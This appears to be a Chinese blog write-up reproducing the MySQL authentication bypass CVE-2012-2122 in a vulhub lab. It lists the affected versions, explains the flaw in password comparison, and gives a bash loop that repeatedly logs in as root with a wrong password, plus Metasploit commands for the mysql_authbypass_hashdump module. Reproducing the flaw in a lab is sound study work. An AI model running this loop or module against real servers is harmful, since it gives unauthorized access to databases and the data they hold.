当前位置:网站首页>【vulhub】MySql身份认证绕过漏洞复现(CVE-2012-2122)
【vulhub】MySql身份认证绕过漏洞复现(CVE-2012-2122)
2022-08-10 20:37:00 【errorr0】
影响版本:
MySQL 5.1.x before 5.1.63,
5.5.x before 5.5.24,
5.6.x before 5.6.6,
MariaDB 5.1.x before 5.1.62,
5.2.x before 5.2.12
5.3.x before 5.3.6
5.x before 5.5.23
漏洞出现的原理:
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名且支持远程登录,然后不断尝试就能够直接登入SQL数据库。还有一个方法 msfconsole工具利用其带的SQL语句爆出密码,但是经过自己的测试发现无法得到密码(这里msf用的是自己服务器上搭的,可能存在问题)。
漏洞复现
法一:脚本循环爆破

正常登录:
用户:root 密码:123456

不正常就不会登录成功,但是如果写一个脚本循环进行登录就会出现开始说的MySQL可能出现的问题,如下:
#mysql.sh
for ((i = 1; i < 1000; i++))
do
mysql -h 127.0.0.1 -u root -p1234 -P 3306;
done执行命令:bash mysql.sh

可以看到,即使前面一直在报错,但是到达了某一步时还是会登录成功,并且是拥有可执行查询权限的。
法二:metasploit工具打
这个工具kali自带,之前打红日2的时候用过,没有kali的可以参考安装教程:https://jingyan.baidu.com/article/2c8c281dabacad0008252aa6.html
步骤如下:
msfconsole
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS 你的外网IP
set THREADS 100
run可惜了,一直不出结果,有可能是我搭的这个msf有问题还是啥的,MySQL的远程连接、错误连接次数的限制都改了还是不行,工作的电脑没有装kali,回去用自己电脑的kali试试吧。

边栏推荐
猜你喜欢

leetcode 85.最大矩形 单调栈应用

.NET现代应用的产品设计 - DDD实践

【图像分类】2017-MobileNetV1 CVPR

一次由groovy引起的fullGC问题排查

Heme - gold nanoparticles (Heme - AuNP) composite nanometer enzyme | gold nanoparticles nuclear porous hollow carbon nanometer spherical shell (Au @ HCNs) nano enzyme

Knowledge map Knowledge Graph

Multifunctional Nanozyme Ag/PANI | Flexible Substrate Nano ZnO Enzyme | Rhodium Sheet Nanozyme | Ag-Rh Alloy Nanoparticle Nanozyme | Iridium Ruthenium Alloy/Iridium Oxide Biomimetic Nanozyme

Pt/CeO2 monatomic nanoparticles enzyme | H - rGO - Pt @ Pd NPs enzyme | carbon nanotube load platinum nanoparticles peptide modified nano enzyme | leukemia antagonism FeOPtPEG composite nano enzyme

【CMU博士论文】视频多模态学习:探索模型和任务复杂性,152页pdf

Web3中值得关注的基础设施
随机推荐
Transferrin-modified vincristine-tetrandrine liposomes | transferrin-modified co-loaded paclitaxel and genistein liposomes (reagents)
OPPO Enco X2 迎来秋季产品升级 旗舰体验全面拉满
Knowledge map Knowledge Graph
2021DASCTF实战精英夏令营暨DASCTF July X CBCTF 4th
leetcode 84.柱状图中最大的矩形 单调栈应用
【一致性hash】负载均衡器分发请求
洛谷 P1629 邮递员送信 (三种最短路)
Getting started with kuberentes Auditing
[Golang]从0到1写一个web服务(上)
win7开机有画面进系统黑屏怎么办
sklearn 笔记 TSNE
Water-soluble alloy quantum dot nanozymes|CuMoS nanozymes|porous silicon-based Pt(Au) nanozymes|[email protected] nanomimetic e
TortoiseSVN小乌龟的使用
如何提交一个PR?【OpenHarmony成长计划】【OpenHarmony开源社区】
LeetCode questions 1-10
mysql----group by、where以及聚合函数需要注意事项
C语言系列——猜名次、猜凶手、打印杨辉三角
Floating window in Auto.js
(10) Sequence and deserialization of image data
[CNN] Brush SOTA's trick